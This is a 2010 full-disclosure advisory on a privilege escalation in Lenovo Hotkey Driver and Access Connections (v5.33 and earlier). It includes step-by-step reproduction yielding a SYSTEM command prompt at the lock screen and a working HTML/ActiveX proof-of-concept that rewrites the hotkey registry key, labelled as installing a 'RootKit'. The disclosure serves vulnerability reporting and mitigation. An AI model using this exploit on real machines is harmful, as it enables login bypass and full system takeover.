Author: Chilik Tamir - Amdocs Power Security Testing Group
Website: http://invalid-packet.blogspot.com/2010/03/full-disclosure-security-vulnerability.html
Subject: Security vulnerability <Privilege escalation> in Lenovo Hotkey Driver and Access Connections version <=v5.33
Impact:
A privilege escalation attack can be used as a backdoor to bypass login and run arbitrary code as a System user on Lenovo or Thinkpad laptops running Access Connection v5.33 and earlier versions (tracked back to version 4)
Technical details:
� The Hotkey Driver is an Lenovo application that monitors the Lenovo special Hotkeys (Fn keys) and execute Lenovo specified applications upon their invocation.
� The default installation of the Hotkey Driver is as a service and runs under NT Authority\System privileges.
� Upon hot key detection, the Hotkey driver checks the registry key for the specified file to lunch and evokes that file, as example When the Fn + F5 key combination is pressed the Hotkey driver checks the registry key named File at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 for its value and then launches the specified application (by default, Tp/AcFnF5.exe).
� The Hotkey driver is available even prior to Windows login due to its installation configuration.
� The value of the registry key to be lunched is not verified at invocation time.
� This key is not monitored by the operating system and any change to this key is undetected.
� An attacker with restricted access to the registry can use this information to launch a targeted attack on Lenovo or Thinkpad users that changes this key into an arbitrary application that runs with System permission.
Reproduce:
Using the target laptop change the File registry key value at HKEY_LOCAL_MACHINE\SOFTWARE\IBM\TPHOTKEY\CLASS\01\05 from 'Tp/AcFnF5.exe' to 'cmd.exe'.
Lock the station ('Windows' + 'L').
Press 'Fn'+'F5' and a windows command prompt opens with System privilege.
Mitigation:
Please update Hotkey Driver and Access connection to the most updated version (link here) at Lenovo website
Exploit example:
This html exploit code uses ActiveX to hijack the Access connection hot key. (Please run on a Virtualized environment).
-----------code starts here----------
<head>
<script language="javaScript" type="text/javascript">
myobject = new ActiveXObject("WScript.Shell")
function install()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
tag="\\"
var value="File";
var data="cmd.exe";
myobject.run("reg.exe"+" copy "+uri+" "+uri+"\\backup "+" /f ");
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
value="Parameters";
data="/T:74";
myobject.run("reg.exe"+" ADD "+uri+" /v "+value+" /d "+data+" /f ");
}
function remove()
{
uri="HKEY_LOCAL_MACHINE\\SOFTWARE\\IBM\\TPHOTKEY\\CLASS\\01\\05";
myobject.run("reg.exe"+" copy "+uri+"\\backup "+uri+" /f ");
}
</script>
</head><body>
<h1>Lenovo Access Connection Exploite POC<h1>
<button onclick="install()">Install RootKit</button><P><button onclick="remove()">Remove RootKit</button>
</body></html>
---------code ends here------------
